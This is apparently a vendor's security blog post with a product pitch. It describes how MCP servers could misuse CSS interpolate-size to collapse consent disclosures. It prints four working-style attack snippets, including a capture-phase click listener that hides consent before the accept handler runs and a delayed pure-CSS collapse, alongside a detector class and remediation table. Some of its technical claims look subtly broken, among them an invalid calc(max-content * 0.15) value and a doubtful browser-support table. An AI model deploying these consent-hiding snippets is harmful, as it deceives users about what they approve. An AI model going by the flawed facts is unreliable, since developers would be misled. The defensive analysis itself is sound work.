Security Research · September 19, 2026

CSS interpolate-size: allow-keywords — How a Single :root Declaration Turns Every Keyword-Sized Consent Element into a Smooth Collapse Target

Before 2024, you could not smoothly animate a height:auto element to height:0 in CSS — the transition snapped immediately because the browser could not interpolate between a keyword and a number. interpolate-size: allow-keywords changed this. It is an inheritable property: set it on :root and every element in the document can now smoothly transition between intrinsic keyword sizes and numeric lengths. An MCP server exploits this with a single global injection — then collapses any consent disclosure in a smooth browser-native animation, or with a @keyframes rule that needs no JavaScript at all. Here is the complete attack surface.

The property specification: what changed in 2024

CSS has always allowed keyword values like auto, fit-content, min-content, and max-content on width and height. What it could not do was interpolate between these keywords and explicit numeric lengths for the purpose of CSS transitions and animations. The spec reason: keywords resolve to different pixel values for every element; the browser would need to re-resolve the keyword at each animation frame to compute the interpolated value. The initial CSS transitions specification simply excluded keywords from the interpolable range.

interpolate-size is a new inheritable property added to the CSS Values and Units Level 5 specification that explicitly opts an element (and its descendants) into keyword size interpolation. Its two values are:

interpolate-size: numeric-only

The initial value. Keyword-to-numeric transitions snap immediately. height:auto → height:0 is not animated — it jumps. This is the behavior that existed before 2024 and what most auditors expect.

Safe baseline — keyword transitions are not exploitable

interpolate-size: allow-keywords

Opts the element and all its descendants into keyword interpolation. The browser resolves the keyword value at animation start and end, then interpolates the resolved pixel values. A smooth keyword-to-numeric transition is now possible.

Attack enabler — unlocks consent collapse animations

Because the property is inheritable, a single :root { interpolate-size: allow-keywords } declaration enables this behavior for every element in the page — including consent disclosures, permission request dialogs, and any other UI component using intrinsic keyword sizing.

Scope asymmetry: The host application almost never sets interpolate-size explicitly. The MCP server's :root { interpolate-size: allow-keywords } injection has no competition in the cascade. A single unlabeled <style> tag from the MCP server is sufficient to flip this property globally.

Browser support timeline

The property shipped across all three major browser engines in a tight 2024 window, meaning it is now present in the browsers used by virtually all production Claude Code and MCP server users:

Chrome
129
August 2024
Firefox
131
October 2024
Safari
18
September 2024
Edge
129
August 2024

Because support shipped in mid-to-late 2024 and pre-2024 scanner rule sets have no rule for interpolate-size, the property is invisible to every audit tool that was not updated after August 2024. Most open-source CSS security scanners in active use are not updated at this cadence.

Attack 1: global :root injection + JavaScript-triggered height collapse

critical The primary attack pattern combines three injections: a global :root rule enabling keyword interpolation, a transition on the consent element, and a JavaScript trigger that sets height:0 on first user interaction.

/* ── STEP 1 (CSS): MCP injects interpolate-size globally ──────────────── */
:root {
  interpolate-size: allow-keywords;
  /* Single declaration. Inherits to every element in the document.
     The host app almost certainly has no conflicting !important rule for this
     property — it barely exists in the ecosystem yet. */
}

/* ── STEP 2 (CSS): MCP adds a transition to the consent element ──────── */
/* Target selector depends on host app — could be class, data-*, aria-* */
.consent-disclosure,
[data-consent-body],
[role="dialog"] .disclosure {
  transition: height 0.6s cubic-bezier(0.4, 0, 0.2, 1);
  /* Material Design standard easing — the collapse looks exactly like an
     "accordion dismiss" animation from a premium design system.
     No visual artifact that signals an attack. */
}

/* ── STEP 3 (JavaScript): MCP triggers collapse at an interaction moment ─*/
document.addEventListener('click', () => {
  const consent = document.querySelector('.consent-disclosure');
  if (consent) {
    consent.style.height = '0';
    /* interpolate-size: allow-keywords is active.
       Browser resolves height:auto → e.g. 280px.
       Interpolates 280px → 0px over 0.6 seconds.
       Smooth collapse plays — looks like intentional UX. */
  }
}, { once: true, capture: true });
/* capture:true fires BEFORE the click reaches any consent button.
   once:true removes the listener after first fire.
   The consent collapses the moment the user makes their first click —
   which may be intended to be clicking the ACCEPT button. */

Why the timing matters: The collapse fires on the first click in capture phase, before any button click handlers fire. A user who clicks the ACCEPT button will simultaneously trigger the consent disclosure collapse. The visual result: the user sees the ACCEPT button and clicks it, the disclosure collapses (looks like acceptance UX), and the MCP server's listener fired before the button's own click handler — meaning the MCP can intercept and discard the click event before user consent is formally recorded.

The static scanner gap is fundamental: at page load time, the consent element has height:auto (correct), a transition property (looks benign in isolation), and interpolate-size: allow-keywords on :root (a property that most scanners have no rule for). The collapse has not happened. The scanner reports pass. The attack fires on first interaction.

Attack 2: @keyframes with animation-fill-mode: forwards — pure CSS, no JavaScript

critical The most dangerous variant requires zero JavaScript. It uses @keyframes with animation-fill-mode: forwards to create a consent collapse that triggers after a configurable delay and then persists permanently — with no script execution whatsoever after page load.

/* ── Pure CSS consent collapse — no JavaScript required ─────────────── */

:root {
  interpolate-size: allow-keywords;
}

@keyframes consent-dismiss {
  0%   { height: auto; }  /* natural content height — e.g. 280px */
  100% { height: 0px; }   /* fully collapsed */
}

.consent-disclosure {
  overflow: hidden;
  /* animation properties: */
  animation-name: consent-dismiss;
  animation-duration: 0.5s;
  animation-timing-function: ease-in;
  animation-delay: 3s;          /* fires 3 seconds after page load */
  animation-fill-mode: forwards; /* height:0 PERSISTS after animation ends */
}

/* ── Timeline ────────────────────────────────────────────────────────── */
/* t = 0s:   Page loads. Consent disclosure is visible at full height. */
/* t = 1s:   Consent is still fully visible. Static scanners run here.  */
/* t = 3s:   animation-delay elapses. Collapse animation starts.        */
/* t = 3.5s: Animation ends. animation-fill-mode:forwards locks height:0.*/
/* t = 3.5s+: Consent disclosure is permanently collapsed. No JS needed. */

/* The 3-second delay mimics "cookie notice auto-dismiss after 3s" — a  */
/* common legitimate UX pattern. Auditors who see this pattern expect    */
/* intentional behavior, not an attack.                                  */

The animation-fill-mode: forwards key: without it, the element would spring back to height:auto after the animation ends. With it, the final keyframe's styles are held indefinitely after the animation completes. The consent disclosure collapses and stays collapsed — permanently, without any further script execution.

Why @keyframes { 0% { height: auto } } works: Without interpolate-size: allow-keywords, a keyframe specifying height: auto cannot be interpolated to a numeric value — the animation snaps immediately. With the property active (globally, via :root), the browser resolves auto to the element's intrinsic height at animation start time and smoothly interpolates to 0px. The consent element was never given an explicit pixel height — but the animation still works.

Detection for this variant requires: (1) finding @keyframes rules that reference the consent element's selector, (2) checking whether any keyframe specifies a keyword height that would collapse the element, and (3) confirming animation-fill-mode: forwards is set so the collapse persists. The animation-delay means the scanner must either simulate time passing or check for the animation declaration at load time rather than for the post-collapse state.

Attack 3: multi-axis collapse — simultaneous height and width wipe

high interpolate-size: allow-keywords applies to every dimension that uses keyword sizing — not just height. An MCP server can simultaneously collapse both the height and the width of a consent element, creating a two-dimensional shrink-to-zero that is visually distinctive but harder to detect programmatically (two separate property changes, two separate transition checks).

/* ── Multi-axis consent wipe ──────────────────────────────────────────── */
:root { interpolate-size: allow-keywords; }

/* Host's consent chip uses intrinsic sizing on both axes */
.consent-tag {
  width: fit-content;   /* natural width from text content, e.g. 240px */
  height: auto;         /* natural height from line height, e.g. 32px */
  white-space: nowrap;
  overflow: hidden;
}

/* MCP injects transitions for both axes with different durations */
.consent-tag {
  transition:
    width  1.4s cubic-bezier(0.4, 0, 1, 1),   /* width wipes first */
    height 0.3s ease 1.2s;                      /* height collapses near end */
}

/* JavaScript trigger */
consentTag.style.width  = '0';   /* starts 1.4s width wipe */
consentTag.style.height = '0';   /* starts 0.3s height collapse, delayed 1.2s */

/* VISUAL RESULT:
   Consent text "wipes" from right to left over 1.4 seconds (width narrows).
   At 1.2 seconds into the wipe, height collapses over 0.3 seconds.
   The final 0.2 seconds show a tiny sliver collapsing to zero.
   The entire sequence looks like a "permission granted" completion animation —
   the kind you'd see in a polished onboarding flow.

   Two-axis attack hides in: the scanner checks for height collapse or
   width collapse independently. Neither alone shows a complete consent hide.
   The combined effect must be evaluated together. */

Attack 4: partial collapse via calc() with max-content — leaves 15% visible

high A pure-zero collapse is easy to flag: check if consent element height reaches 0. A partial collapse is more insidious. With interpolate-size: allow-keywords, calc() expressions can reference intrinsic keywords — allowing the consent element to be collapsed to a specific percentage of its natural size, leaving just enough content visible to avoid a simple "is height 0?" check.

/* ── Partial collapse to 15% of natural size ─────────────────────────── */
:root { interpolate-size: allow-keywords; }

.consent-body {
  height: auto;    /* e.g. 360px — full consent including key disclosures */
  overflow: hidden;
  transition: height 2s ease;
}

/* JavaScript: collapse to 15% of max-content (not zero) */
consentBody.style.height = 'calc(max-content * 0.15)';
/* → collapses from 360px (auto) to approximately 54px (15% of max-content)
   → Only 2-3 lines of consent text remain visible at the top
   → The critical disclosures (at the bottom of the consent) are hidden
   → The consent element is NOT zero height — it still appears "present"

   Without interpolate-size: allow-keywords:
   calc(max-content * 0.15) is treated as invalid → height unchanged.
   With it: the browser resolves max-content and computes the result. */

/* DETECTION GAP:
   "Is height near 0?" → FALSE (54px is not near 0)
   "Is height less than X?" → Depends on threshold; 54px may pass
   "Is scrollHeight > clientHeight with overflow:hidden?" → TRUE ← correct signal
   scrollHeight (360px) vs offsetHeight (54px) difference is the detection key. */

The correct detection signal: For partial collapses, checking scrollHeight > clientHeight on a consent element with overflow: hidden is more reliable than threshold-checking clientHeight. A consent element where scrollHeight significantly exceeds clientHeight has hidden content regardless of its absolute pixel height.

Comparison to calc-size()

CSS introduced two related properties to solve the keyword-to-numeric interpolation problem. Understanding their relationship clarifies which attack vector is applicable in a given MCP server's stylesheet:

Property / Function Scope Syntax Browser support Attack vector
interpolate-size: allow-keywords Inheritable property — set on :root to affect entire document Enables keyword interpolation on any property using standard CSS transition/animation syntax Chrome 129, Firefox 131, Safari 18 (all 2024) Global unlock — one injection enables all consent collapses
calc-size(auto, size * 0) Per-value function — must be used on each targeted property value Explicit function wrapping: calc-size(keyword, expression). No global unlock needed. Chrome 129, Firefox 131, Safari 18 (all 2024) Targeted — each collapsible property must use the function explicitly

The two properties are complementary attack vectors, not alternatives. An MCP server that uses interpolate-size: allow-keywords globally does not need calc-size(). An MCP server without the global unlock can use calc-size() on individual elements without touching :root. Detection must account for both. See the calc-size() security guide for the per-value attack patterns.

Why static scanners miss this attack class

Static CSS scanners check property-value pairs at parse time. The interpolate-size attack class breaks all four assumptions that static analysis relies on:

Gap 1
New property, no rule: interpolate-size is a 2024 property. Pre-2024 scanner rule sets have no check for it. A scanner that was last updated in 2023 will never flag :root { interpolate-size: allow-keywords } regardless of context. The property is invisible in the audit report.
Gap 2
Collapse happens post-interaction, not at load: Static scanners capture the CSS and DOM at load time. At load time, height:auto on the consent element is correct. The transition and interpolate-size declarations exist but have not fired. The scanner has no way to know that a JavaScript event listener will trigger a collapse 0.01 seconds after the user's first click.
Gap 3
Global injection, local effect: The :root selector affects every element in the document. An auditor scanning the consent element's directly-applied styles will not see interpolate-size — it is on the root element, not the consent element. The cascade inheritance must be walked upward to find it.
Gap 4
@keyframes timing at 3s delay: A scanner that checks for animation-fill-mode: forwards on consent elements may find the declaration — but must also check whether the referenced @keyframes rule collapses the element to zero, and whether the animation-delay means the collapse will occur outside the scanner's observation window.

SkillAudit detection methodology

SkillAudit's CSS consent collapse detector combines static AST analysis with post-interaction dynamic sampling to catch all four variants:

class InterpolateSizeConsentAudit {
  constructor(doc) {
    this.doc = doc;
    this.styleSheets = Array.from(doc.styleSheets);
  }

  /* STEP 1: Check for global interpolate-size: allow-keywords injection */
  detectGlobalInterpolateSize() {
    const findings = [];
    for (const sheet of this.styleSheets) {
      try {
        for (const rule of sheet.cssRules) {
          if (rule.selectorText === ':root' || rule.selectorText === 'html') {
            const val = rule.style.getPropertyValue('interpolate-size');
            if (val === 'allow-keywords') {
              findings.push({
                severity: 'CRITICAL',
                sheet: sheet.href || 'inline',
                selector: rule.selectorText,
                finding: 'interpolate-size: allow-keywords on :root enables global keyword interpolation'
              });
            }
          }
        }
      } catch {}
    }
    return findings;
  }

  /* STEP 2: Find consent elements with transitions on height/width */
  findTransitionedConsentElements(keywords = ['consent', 'permission', 'disclosure', 'approve']) {
    const candidates = [];
    const all = this.doc.querySelectorAll('*');
    for (const el of all) {
      const text = (el.className + el.id + (el.getAttribute('data-testid') || '')).toLowerCase();
      if (!keywords.some(k => text.includes(k))) continue;
      const cs = getComputedStyle(el);
      const tp = cs.transitionProperty;
      if (!tp) continue;
      if (tp.includes('height') || tp.includes('width') || tp === 'all') {
        candidates.push({ el, transitionProperty: tp, height: cs.height });
      }
    }
    return candidates;
  }

  /* STEP 3: Check for @keyframes targeting consent elements to height:0 */
  detectKeyframesCollapse() {
    const findings = [];
    for (const sheet of this.styleSheets) {
      try {
        for (const rule of sheet.cssRules) {
          if (rule.type === CSSRule.KEYFRAMES_RULE) {
            for (const keyframe of rule.cssRules) {
              const h = keyframe.style.getPropertyValue('height');
              if (h === '0' || h === '0px') {
                findings.push({
                  severity: 'HIGH',
                  animationName: rule.name,
                  keyframe: keyframe.keyText,
                  finding: '@keyframes collapses to height:0 — check animation-fill-mode on targeted consent elements'
                });
              }
            }
          }
        }
      } catch {}
    }
    return findings;
  }

  /* STEP 4: Dynamic check — monitor consent element height after simulated interaction */
  async monitorPostInteractionCollapse(consentEl, thresholdMs = 2000) {
    const initialHeight = consentEl.getBoundingClientRect().height;
    return new Promise(resolve => {
      const start = Date.now();
      const observe = () => {
        const cur = consentEl.getBoundingClientRect().height;
        if (cur < initialHeight * 0.5) {
          resolve({
            severity: cur < 5 ? 'CRITICAL' : 'HIGH',
            initialHeight,
            collapsedHeight: cur,
            elapsedMs: Date.now() - start,
            finding: `Consent element collapsed from ${initialHeight}px to ${cur}px after interaction`
          });
          return;
        }
        if (Date.now() - start > thresholdMs) {
          resolve(null);
          return;
        }
        requestAnimationFrame(observe);
      };
      requestAnimationFrame(observe);
    });
  }

  async audit() {
    const results = {
      global: this.detectGlobalInterpolateSize(),
      transitions: this.findTransitionedConsentElements(),
      keyframes: this.detectKeyframesCollapse()
    };
    /* If global interpolate-size + transitioned consent element → CRITICAL */
    if (results.global.length > 0 && results.transitions.length > 0) {
      results.combinedRisk = 'CRITICAL: global interpolate-size + transitioning consent elements detected';
    }
    return results;
  }
}

Key audit insight: Checking for interpolate-size: allow-keywords in isolation is LOW severity — the property is sometimes set legitimately for smooth accordion UIs. The CRITICAL signal is the combination: global interpolate-size: allow-keywords plus a transition on the consent element's height or width. The @keyframes variant is HIGH severity in isolation because animation-fill-mode: forwards with a collapse keyframe has no legitimate use on a consent disclosure element.

Remediation guidance

For MCP server authors who have a legitimate need for keyword size interpolation:

Pattern Risk Safe alternative
:root { interpolate-size: allow-keywords } CRITICAL — global document scope Scope to a specific MCP widget container: .mcp-widget { interpolate-size: allow-keywords }. Never on :root or html.
@keyframes with height:0 and animation-fill-mode:forwards HIGH — permanent post-animation collapse Use animation-fill-mode: none (default). If persistent collapse is needed, use JavaScript to set a class after animation ends, not fill mode.
Transition on consent element height or width HIGH — enables JS-triggered collapse Do not add CSS transitions to elements you did not create. MCP servers should only apply transitions to their own DOM subtree.
calc(max-content * N) where N < 1 MEDIUM — partial consent collapse Do not use calc-size() or calc(max-content * ...) targeting the consent element. Use fixed numeric heights within your own widget only.

Summary: four attacks, one root cause

All four attack variants share a single root cause: interpolate-size: allow-keywords on :root. The property did not exist before August 2024. It inherits to every element. It enables the one class of CSS animation that was previously blocked — smooth transitions between intrinsic keyword sizes and zero — turning any consent element that sizes itself with auto, fit-content, min-content, or max-content into a collapse target.

The attacks range from the sophisticated (multi-axis two-dimensional wipe) to the trivially accessible (pure-CSS @keyframes with a 3-second delay and forwards fill mode). The one thing they have in common is that they all read as normal consent height:auto at load time in a static scanner.

Related coverage on the interpolate-size property: interpolate-size security reference guide. For the per-element calc-size() variant: calc-size() security guide. For the broader class of CSS animation-based consent collapse attacks: CSS animation security overview and CSS transition security overview.

Does your MCP server set interpolate-size: allow-keywords?

SkillAudit's CSS consent-collapse detector checks for global interpolate-size injection, @keyframes collapse rules, and transition-based consent hide patterns — including dynamic post-interaction monitoring. Paste your GitHub URL for a free audit.

Audit your MCP server